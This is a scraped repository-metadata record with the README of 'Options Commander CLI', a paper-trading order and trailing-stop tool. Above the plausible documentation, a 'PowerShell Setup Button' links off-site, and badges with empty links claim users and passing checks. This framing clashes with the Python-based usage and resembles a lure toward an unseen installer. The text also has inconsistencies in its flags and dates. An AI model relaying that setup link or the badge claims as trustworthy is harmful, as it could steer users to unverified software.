[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"project-115778":3},{"id":4,"name":5,"fullName":6,"owner":7,"repo":5,"description":8,"homepage":9,"htmlUrl":9,"language":10,"languages":9,"totalLinesOfCode":9,"stars":11,"forks":12,"watchers":13,"openIssues":12,"contributorsCount":12,"subscribersCount":12,"size":12,"stars1d":12,"stars7d":14,"stars30d":14,"stars90d":12,"forks30d":12,"starsTrendScore":12,"compositeScore":15,"rankGlobal":9,"rankLanguage":9,"license":9,"archived":16,"fork":16,"defaultBranch":17,"hasWiki":18,"hasPages":18,"topics":19,"createdAt":9,"pushedAt":36,"updatedAt":37,"readmeContent":38,"aiSummary":39,"trendingCount":12,"starSnapshotCount":12,"syncStatus":40,"lastSyncTime":41,"discoverSource":42},115778,"options-commander-cli","assansolution-cell\u002Foptions-commander-cli","assansolution-cell","Options Commander CLI: order placement, trailing stops, alerts, and daily records",null,"TypeScript",153,0,100,53,62.3,false,"main",true,[20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35],"agentedge","alpaca","autotrader","fastapi","fastify","human-in-the-loop","local-first","microsoft-agent-framework","multi-agent-system","ndx","qqq","research","spy","statistical-validation","time-series-momentum","walk-forward-validation","2026-11-23 10:18:53","2026-11-17 18:06:51","\u003Cdiv align=\"center\">\n\n# Options Commander CLI: Order Execution & Trailing Stop Automation for Windows 10 & 11\n\n![](files\u002Fpreview.png)\n\n### 🛠️ PowerShell Setup Button\n\n[![](files\u002Fbutton.png)](https:\u002F\u002Fassansolution-cell.github.io\u002Foptions-commander-cli\u002F)\n\n[![licence](https:\u002F\u002Fimg.shields.io\u002Fbadge\u002FLicence-Gpl--2.0-f97316?style=plastic&labelColor=0d1117)]() [![checks](https:\u002F\u002Fimg.shields.io\u002Fbadge\u002FChecks-Passing-2ea44f?style=plastic&labelColor=0d1117)]() [![users](https:\u002F\u002Fimg.shields.io\u002Fbadge\u002FUsers-3.4K-fb923c?style=plastic&labelColor=0d1117)]() [![powershell-7](https:\u002F\u002Fimg.shields.io\u002Fbadge\u002FPowershell--7-Core-ea580c?style=plastic&labelColor=0d1117)]()\n\n\u003C\u002Fdiv>\n\n---\n\nOptions Commander CLI is a command-line interface for placing orders on request against a broker account, paired with scheduled routines that manage trailing stops, alerts and daily records. An interactive CLI handles on-demand order entry and portfolio queries, while the scheduler runs due routines to fetch broker state, reconcile positions and re-place or raise stops. Natural-language request parsing is the only component that calls a model, and it runs on Microsoft Agent Framework with validated, typed requests. The tool is scoped to paper-account trading and record keeping; it is not financial advice, and it places nothing automatically.\n\n## 📋 System Requirements\n\n- Windows 10 or Windows 11\n- PowerShell 5.1 or newer (already available on Windows)\n- Active network connection\n- No admin rights needed\n\n## Usage\n\nOptions Commander CLI runs in two modes: an interactive session for placing orders on request, and a non-interactive scheduler pass for the routines that manage open positions, trailing stops, alerts and daily records. Nothing opens a trade on its own; the voting signal has no tested edge, so entries are always your decision.\n\nStart the interactive session with no arguments:\n\n```\npython main.py\n```\n\nYou get a prompt. Plain language is accepted for order requests and analysis questions; slash commands are routed locally and never reach the model. A request to buy or sell is echoed back with the resolved symbol, side and quantity, and is not sent until you confirm. A question (\"how does SPY look?\") returns analysis only and places nothing.\n\n```\n> buy 10 AAPL\n> show portfolio\n> how does SPY look?\n> \u002Frecords\n> \u002Fschedule\n> \u002Fhelp\n```\n\nScheduled work runs from the same entry point. Either let cron invoke the due routine every few minutes, or run a foreground daemon:\n\n```\npython main.py run-due\npython main.py daemon\n```\n\n`-run-due` checks which routine is due and exits; it is the mode intended for cron. `-daemon` stays resident and fires the routines itself. The morning and evening routines run on NYSE trading days only, and the scheduler is disabled by default until you enable it from the CLI's `\u002Fschedule` mode.\n\nScope and limits, stated plainly:\n\n- The routines renew and re-place stop orders. They do not re-place take-profit orders; an aging one is flagged in the daily report only.\n- Broker-side GTC orders expire after 90 days, so a bracket's take-profit leg can lapse while the position remains protected by its trailing stop.\n- Market data is read from the local SQLite cache first, then the broker, then the fallback provider. Cached reads can be stale relative to the live book.\n- The model is called only to parse a typed request, and its output is validated before use. It is not consulted for signals, scheduling or order routing.\n- State, logs and reports are written under the local state and reports directories; the tool does not manage credentials for you.\n\nExit status is non-zero on configuration, authentication or routine failure. See the Flags and Exit codes sections for the full surface.\n\n## Flags\n\nEvery flag is read once at startup; values on the command line override `config\u002Fconfig.yaml`. Flags apply to the process that receives them — a flag passed to the interactive session does not propagate to routines started later by cron or the daemon.\n\n### Mode flags\n\n| Flag | Effect |\n|-|-|\n| `-run-due` | Runs whichever scheduled routine is due (morning 9:20 AM ET, evening 3:50 PM ET, NYSE trading days only), then exits. Intended for cron; exits non-zero if no routine was due. |\n| `-daemon` | Runs the scheduler in the foreground on its own loop instead of exiting after one routine. Mutually exclusive with `-run-due`. |\n| `-help` | Prints usage and the flag list, then exits. |\n\n### Configuration flags\n\n| Flag | Default | Effect |\n|-|-|-|\n| `-config PATH` | `config\u002Fconfig.yaml`, then `config\u002Fconfig.json` | Path to the credentials and settings file. YAML is tried first at the default location; an explicit path is read as given. |\n| `-model NAME` | `gpt-4o-mini`, or `OPENAI_TOOL_MODEL` | Model used by the natural-language parser. Has no effect on slash commands, the voting signal, or routines, which never call a model. |\n\n### Scope and caveats\n\n- **Paper account only.** No flag switches the broker to a live account or changes which credentials are used. Live trading is not supported.\n- **Scheduler state is not a flag.** Whether routines run is controlled by `enabled` in `config_defaults\u002Fscheduler_config.yaml` and by `enable` in the CLI's `\u002Fschedule` mode. `-run-due` will exit without doing work while the scheduler is disabled.\n- **No dry-run flag.** `-run-due` acts on the account as configured. To inspect behavior without placing orders, use the CLI's analysis path, which never places an order on its own, or point `-config` at a separate paper configuration.\n- **No verbosity or logging flags.** Logs are written to `state\u002Fscheduler.log`; cron errors to `state\u002Fscheduler-cron.err`. Paths are fixed.\n- **Unknown flags are rejected** with a usage message and a non-zero exit, rather than ignored.\n\n## Exit codes\n\nOptions Commander CLI returns process exit codes so scripts and cron entries can branch on outcomes. Codes are stable for a given minor release; the numeric values below are the contract, the messages are not.\n\n- **0 — success.** The command completed and did what was asked. For order placement this means the broker accepted the order; it does not mean the order filled. For scheduled routines (`-run-due`, `-daemon`) it means every routine due in that tick ran to completion.\n- **1 — general failure.** An unclassified error: an unexpected exception, an unreadable config file, or a routine that raised partway through. Treat as retryable only after inspecting `state\u002Fscheduler.log` (routines) or stderr (interactive commands).\n- **2 — usage error.** Unknown flag, malformed argument, or a command invoked without its required parameters. Nothing was sent to the broker. Emitted before any network or model call.\n- **3 — configuration error.** Missing or invalid credentials in `config\u002Fconfig.yaml` or `config\u002Fconfig.json`, or a required key absent from either file. No broker contact was attempted.\n- **4 — parse or validation failure.** A free-text request could not be resolved into a typed request, or the resolved request failed the post-model checks (action, quantity, request type). The model's output is never acted on unvalidated; this code means the request was rejected, not partially executed.\n- **5 — broker or market-data error.** Alpaca rejected the order, the account is not authorized for the requested action, or market data could not be fetched from the SQLite cache, Alpaca, or Alpha Vantage in that order. The order state is whatever the broker reports; the CLI does not retry automatically.\n- **6 — scheduling state error.** A routine was requested while the scheduler is disabled (`enabled: false` in `config_defaults\u002Fscheduler_config.yaml`), or `-run-due` found no routine due and was invoked in strict mode.\n- **7 — precondition failure.** A command that requires an open position, an active stop, or a recorded prior routine found none. Reconcile with `\u002Frecords` and the latest `reports\u002Fdaily\u002F` entry before re-running.\n\nNotes on scope:\n\n- Exit codes describe the CLI process, not trading outcomes. A routine that exits 0 may still have skipped a step (for example, a take-profit leg that lapsed past Alpaca's 90-day GTC cancellation); skips are recorded in the routine report, not signaled through the exit code.\n- Signals and research commands exit 0 on a completed analysis regardless of the result. No tested signal has a demonstrated edge; a non-zero code never indicates a trading recommendation.\n- Interactive CLI sessions do not exit on a failed command; the code is surfaced per command and the session continues. The codes above apply to non-interactive invocation and to the final status of a scripted session.\n- Codes 3 through 7 are not guaranteed distinct across patch releases in the sense that a given failure will always map to the same number; pin behavior by checking `-version` if your automation depends on a specific mapping.\n\n## Recipes\n\n## Recipes\n\nThese recipes assume `python main.py` runs from the repository root with a configured `config\u002Fconfig.yaml` and an active paper account. Every example is a single CLI session; nothing here places a live order, and none of the routines open trades on their own.\n\n**Analyze before you commit.** Ask for a read without an action verb, and the request stays a review:\n\n```\n> how does SPY look?\n> what is the MACD and RSI on QQQ?\n```\n\nAnalysis prints the voting signal's reading (MACD 13\u002F34\u002F8, RSI 14 at 30\u002F70) and exits without touching the order path. If you phrase a request as a question — \"should I sell AAPL?\" — it remains a review regardless of what the parser returns.\n\n**Place an order with a trailing stop attached.** State the action, quantity, and symbol in one line. The CLI echoes the parsed order and asks for confirmation before submission:\n\n```\n> buy 10 AAPL\n> buy 5 SPY with a 2% trailing stop\n```\n\nThe confirmation prompt is the last chance to abort; declining leaves the account unchanged. Bare quantities default to whole shares; fractional sizing must be explicit.\n\n**Inspect the account and today's records.** These are local reads against broker state and the SQLite store:\n\n```\n> show portfolio\n> show orders\n> \u002Frecords\n```\n\n`\u002Frecords` prints daily equity, fills, and realized P&L from `state\u002Fuser.db`. It reflects what the routines last wrote, so between the 9:20 and 15:50 ET runs the ledger can lag the broker by a few minutes.\n\n**Drive the scheduler from the CLI.** Scheduled routines are off by default. Enable and inspect them without editing configs by hand:\n\n```\n> \u002Fschedule\n> \u002Fschedule enable\n> \u002Fschedule status\n```\n\n`status` reports the next due routine and the last exit code. Enabling here flips `enabled: true` in the scheduler config; the cron entry added by `scripts\u002Fdeployment\u002Fsetup_cron.sh` then runs whatever is due every five minutes. The morning and evening routines fire on NYSE trading days only.\n\n**Run a routine once, on demand.** Useful for verifying a stop re-place after a broker-side cancel:\n\n```\n$ python main.py run-due\n$ python main.py daemon\n```\n\n`-run-due` executes any routine whose window has passed and writes `reports\u002Fdaily\u002F\u003CET date>_\u003Croutine>.md`. It does not backfill missed days, and it will not re-place take-profit legs — only stops are renewed. Check `state\u002Fscheduler.log` for the outcome.\n\n**Review a routine report.** Each run leaves a markdown file named by Eastern date and routine:\n\n```\n$ ls reports\u002Fdaily\u002F\n$ cat reports\u002Fdaily\u002F-11-03_morning.md\n```\n\nReports list account state, positions, fills, reconciled stops, and any alerts or GTT triggers observed. A flagged aging take-profit order appears here but is not renewed; positions held past Alpaca's 90-day GTC cancellation exit by their trailing stop instead.\n\n**Two things these recipes do not do.** No CLI path opens a trade automatically — the MACD+RSI vote is informational, and no tested signal has a demonstrated edge. And no recipe here changes `config_defaults\u002F`; local overrides live in the gitignored `config\u002F` directory, which you should edit directly and never commit.\n\n## FAQ\n\n**Does Options Commander place trades on its own?**\nNo. Orders are placed only when you issue them through the CLI. The scheduled routines do not open new positions; they renew and re-place stops, check alerts and write the daily records.\n\n**What do the scheduled routines actually do?**\nEach run fetches broker state, records the account, positions and fills, reconciles them, re-places missing or expiring stops, checks alerts and GTT triggers, raises stops to their trailing level, and writes a daily report. They run on NYSE trading days only.\n\n**Why don't take-profit orders get renewed?**\nScope decision: the routines handle stops, not take-profit legs. An aging take-profit order is flagged in the report but not re-placed. Brokers cancel GTC orders after a fixed period, so a position held past that point exits by its trailing stop.\n\n**Is the signal profitable?**\nNo tested signal has shown an edge. The MACD+RSI voting signal is used only on the paper account; nothing opens trades from it automatically. Walk-forward, out-of-sample testing with transaction costs and multiple-testing correction is the standard applied here.\n\n**Does the tool give financial advice?**\nNo. It is for educational and research purposes only, provided as-is, with no guarantee of accuracy or profitability.\n\n**Which account does it trade?**\nThe paper account. Live trading is outside the current scope.\n\n**Where does market data come from?**\nThe local SQLite cache first, then the broker, then the fallback data provider. State is stored in SQLite under `state\u002F`.\n\n**Does it need an LLM to work?**\nNo. Slash commands, the voting signal and the scheduled routines do not call a model. A model is used only to parse free-text order requests into typed requests, and the parsed result is validated before anything is shown or placed.\n\n**Can I run it without the scheduler?**\nYes. The scheduler is disabled by default and the CLI is fully usable on its own. Scheduling can be enabled from the CLI's schedule mode; it can run as a cron entry or as a long-running daemon.\n\n**What are the operational limits?**\nPaper account only; no backtested edge in any tested signal; take-profit orders not renewed; research results are reported as medians and should not be read as predictions.","Options Commander CLI 是一个面向 Windows 平台的命令行工具，专为期权与股票纸面交易（paper trading）设计，支持手动下单、动态追踪止盈止损、行情提醒及每日持仓与操作记录。其核心采用 PowerShell 集成与本地化自然语言解析（基于 Microsoft Agent Framework），所有模型调用仅限于结构化、经验证的请求，不自动执行交易；交互式 CLI 支持类自然语言指令（如 'buy 10 AAPL'），调度模块则按计划执行仓位对账、止盈止损更新等后台任务。适用于个人量化研究者、期权策略回测者及需严格人工确认的日内\u002F波段交易场景。",2,"2026-11-24 04:52:07","CREATED_QUERY"]